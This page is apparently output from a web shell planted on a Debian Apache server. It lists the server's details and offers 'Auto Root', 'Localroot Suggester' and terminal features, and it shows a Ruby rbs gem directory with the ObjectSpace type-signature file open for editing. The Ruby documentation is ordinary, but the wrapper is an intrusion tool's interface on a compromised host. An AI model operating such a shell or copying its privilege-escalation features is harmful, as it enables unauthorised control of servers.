Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
ruby /
gems /
3.1.0 /
gems /
rbs-2.1.0 /
core /
Delete
Unzip
Name
Size
Permission
Date
Action
io
[ DIR ]
drwxr-xr-x
2025-06-05 11:22
array.rbs
126.13
KB
-rw-r--r--
2022-04-12 11:11
basic_object.rbs
13.02
KB
-rw-r--r--
2022-04-12 11:11
binding.rbs
6.03
KB
-rw-r--r--
2022-04-12 11:11
builtin.rbs
1.42
KB
-rw-r--r--
2022-04-12 11:11
class.rbs
5.34
KB
-rw-r--r--
2022-04-12 11:11
comparable.rbs
5.55
KB
-rw-r--r--
2022-04-12 11:11
complex.rbs
14.38
KB
-rw-r--r--
2022-04-12 11:11
constants.rbs
1.71
KB
-rw-r--r--
2022-04-12 11:11
deprecated.rbs
186
B
-rw-r--r--
2022-04-12 11:11
dir.rbs
21.29
KB
-rw-r--r--
2022-04-12 11:11
encoding.rbs
24.15
KB
-rw-r--r--
2022-04-12 11:11
enumerable.rbs
79.8
KB
-rw-r--r--
2022-04-12 11:11
enumerator.rbs
15.43
KB
-rw-r--r--
2022-04-12 11:11
env.rbs
48.25
KB
-rw-r--r--
2022-04-12 11:11
errno.rbs
12.38
KB
-rw-r--r--
2022-04-12 11:11
errors.rbs
17.78
KB
-rw-r--r--
2022-04-12 11:11
exception.rbs
7.14
KB
-rw-r--r--
2022-04-12 11:11
false_class.rbs
1.79
KB
-rw-r--r--
2022-04-12 11:11
fiber.rbs
5.88
KB
-rw-r--r--
2022-04-12 11:11
fiber_error.rbs
374
B
-rw-r--r--
2022-04-12 11:11
file.rbs
62.22
KB
-rw-r--r--
2022-04-12 11:11
file_test.rbs
9.42
KB
-rw-r--r--
2022-04-12 11:11
float.rbs
30.82
KB
-rw-r--r--
2022-04-12 11:11
gc.rbs
12.16
KB
-rw-r--r--
2022-04-12 11:11
global_variables.rbs
5.72
KB
-rw-r--r--
2022-04-12 11:11
hash.rbs
59.31
KB
-rw-r--r--
2022-04-12 11:11
integer.rbs
39.28
KB
-rw-r--r--
2022-04-12 11:11
io.rbs
95.65
KB
-rw-r--r--
2022-04-12 11:11
kernel.rbs
96.28
KB
-rw-r--r--
2022-04-12 11:11
marshal.rbs
6.91
KB
-rw-r--r--
2022-04-12 11:11
match_data.rbs
11.55
KB
-rw-r--r--
2022-04-12 11:11
math.rbs
12.32
KB
-rw-r--r--
2022-04-12 11:11
method.rbs
8.41
KB
-rw-r--r--
2022-04-12 11:11
module.rbs
48.61
KB
-rw-r--r--
2022-04-12 11:11
nil_class.rbs
2.99
KB
-rw-r--r--
2022-04-12 11:11
numeric.rbs
24.58
KB
-rw-r--r--
2022-04-12 11:11
object.rbs
36.79
KB
-rw-r--r--
2022-04-12 11:11
object_space.rbs
6.11
KB
-rw-r--r--
2022-04-12 11:11
proc.rbs
21.71
KB
-rw-r--r--
2022-04-12 11:11
process.rbs
51.68
KB
-rw-r--r--
2022-04-12 11:11
ractor.rbs
29.67
KB
-rw-r--r--
2022-04-12 11:11
random.rbs
12.16
KB
-rw-r--r--
2022-04-12 11:11
range.rbs
26.65
KB
-rw-r--r--
2022-04-12 11:11
rational.rbs
15.05
KB
-rw-r--r--
2022-04-12 11:11
rb_config.rbs
1.97
KB
-rw-r--r--
2022-04-12 11:11
refinement.rbs
1.11
KB
-rw-r--r--
2022-04-12 11:11
regexp.rbs
44.66
KB
-rw-r--r--
2022-04-12 11:11
ruby_vm.rbs
2.01
KB
-rw-r--r--
2022-04-12 11:11
signal.rbs
3.49
KB
-rw-r--r--
2022-04-12 11:11
string.rbs
112.63
KB
-rw-r--r--
2022-04-12 11:11
string_io.rbs
13.51
KB
-rw-r--r--
2022-04-12 11:11
struct.rbs
9.49
KB
-rw-r--r--
2022-04-12 11:11
symbol.rbs
13.71
KB
-rw-r--r--
2022-04-12 11:11
thread.rbs
50.99
KB
-rw-r--r--
2022-04-12 11:11
thread_group.rbs
2.37
KB
-rw-r--r--
2022-04-12 11:11
time.rbs
54.79
KB
-rw-r--r--
2022-04-12 11:11
trace_point.rbs
9.84
KB
-rw-r--r--
2022-04-12 11:11
true_class.rbs
1.72
KB
-rw-r--r--
2022-04-12 11:11
unbound_method.rbs
6.71
KB
-rw-r--r--
2022-04-12 11:11
warning.rbs
1.49
KB
-rw-r--r--
2022-04-12 11:11
Save
Rename
# <!-- rdoc-file=gc.c --> # The ObjectSpace module contains a number of routines that interact with the # garbage collection facility and allow you to traverse all living objects with # an iterator. # # ObjectSpace also provides support for object finalizers, procs that will be # called when a specific object is about to be destroyed by garbage collection. # See the documentation for `ObjectSpace.define_finalizer` for important # information on how to use this method correctly. # # a = "A" # b = "B" # # ObjectSpace.define_finalizer(a, proc {|id| puts "Finalizer one on #{id}" }) # ObjectSpace.define_finalizer(b, proc {|id| puts "Finalizer two on #{id}" }) # # a = nil # b = nil # # *produces:* # # Finalizer two on 537763470 # Finalizer one on 537763480 # %a{annotate:rdoc:source:from=gc.c} module ObjectSpace # <!-- # rdoc-file=gc.c # - _id2ref(p1) # --> # def self._id2ref: (Integer id) -> untyped # <!-- # rdoc-file=gc.c # - ObjectSpace.count_objects([result_hash]) -> hash # --> # Counts all objects grouped by type. # # It returns a hash, such as: # { # :TOTAL=>10000, # :FREE=>3011, # :T_OBJECT=>6, # :T_CLASS=>404, # # ... # } # # The contents of the returned hash are implementation specific. It may be # changed in future. # # The keys starting with `:T_` means live objects. For example, `:T_ARRAY` is # the number of arrays. `:FREE` means object slots which is not used now. # `:TOTAL` means sum of above. # # If the optional argument `result_hash` is given, it is overwritten and # returned. This is intended to avoid probe effect. # # h = {} # ObjectSpace.count_objects(h) # puts h # # => { :TOTAL=>10000, :T_CLASS=>158280, :T_MODULE=>20672, :T_STRING=>527249 } # # This method is only expected to work on C Ruby. # def self.count_objects: (?Hash[Symbol, Integer] result_hash) -> Hash[Symbol, Integer] # <!-- # rdoc-file=gc.c # - ObjectSpace.define_finalizer(obj, aProc=proc()) # --> # Adds *aProc* as a finalizer, to be called after *obj* was destroyed. The # object ID of the *obj* will be passed as an argument to *aProc*. If *aProc* is # a lambda or method, make sure it can be called with a single argument. # # The return value is an array `[0, aProc]`. # # The two recommended patterns are to either create the finaliser proc in a # non-instance method where it can safely capture the needed state, or to use a # custom callable object that stores the needed state explicitly as instance # variables. # # class Foo # def initialize(data_needed_for_finalization) # ObjectSpace.define_finalizer(self, self.class.create_finalizer(data_needed_for_finalization)) # end # # def self.create_finalizer(data_needed_for_finalization) # proc { # puts "finalizing #{data_needed_for_finalization}" # } # end # end # # class Bar # class Remover # def initialize(data_needed_for_finalization) # @data_needed_for_finalization = data_needed_for_finalization # end # # def call(id) # puts "finalizing #{@data_needed_for_finalization}" # end # end # # def initialize(data_needed_for_finalization) # ObjectSpace.define_finalizer(self, Remover.new(data_needed_for_finalization)) # end # end # # Note that if your finalizer references the object to be finalized it will # never be run on GC, although it will still be run at exit. You will get a # warning if you capture the object to be finalized as the receiver of the # finalizer. # # class CapturesSelf # def initialize(name) # ObjectSpace.define_finalizer(self, proc { # # this finalizer will only be run on exit # puts "finalizing #{name}" # }) # end # end # # Also note that finalization can be unpredictable and is never guaranteed to be # run except on exit. # def self.define_finalizer: (untyped obj, ^(Integer id) -> void aProc) -> [ Integer, Proc ] | (untyped obj) { (Integer id) -> void } -> [ Integer, Proc ] # <!-- # rdoc-file=gc.c # - ObjectSpace.each_object([module]) {|obj| ... } -> integer # - ObjectSpace.each_object([module]) -> an_enumerator # --> # Calls the block once for each living, nonimmediate object in this Ruby # process. If *module* is specified, calls the block for only those classes or # modules that match (or are a subclass of) *module*. Returns the number of # objects found. Immediate objects (`Fixnum`s, `Symbol`s `true`, `false`, and # `nil`) are never returned. In the example below, #each_object returns both the # numbers we defined and several constants defined in the Math module. # # If no block is given, an enumerator is returned instead. # # a = 102.7 # b = 95 # Won't be returned # c = 12345678987654321 # count = ObjectSpace.each_object(Numeric) {|x| p x } # puts "Total count: #{count}" # # *produces:* # # 12345678987654321 # 102.7 # 2.71828182845905 # 3.14159265358979 # 2.22044604925031e-16 # 1.7976931348623157e+308 # 2.2250738585072e-308 # Total count: 7 # def self.each_object: (?Module `module`) -> Enumerator[untyped, Integer] | (?Module `module`) { (untyped obj) -> void } -> Integer # <!-- # rdoc-file=gc.rb # - garbage_collect(full_mark: true, immediate_mark: true, immediate_sweep: true) # --> # def self.garbage_collect: (?full_mark: bool, ?immediate_mark: bool, ?immediate_sweep: bool) -> void # <!-- # rdoc-file=gc.c # - ObjectSpace.undefine_finalizer(obj) # --> # Removes all finalizers for *obj*. # def self.undefine_finalizer: [X] (X obj) -> X private # <!-- # rdoc-file=gc.rb # - garbage_collect(full_mark: true, immediate_mark: true, immediate_sweep: true) # --> # def garbage_collect: (?full_mark: bool, ?immediate_mark: bool, ?immediate_sweep: bool) -> void end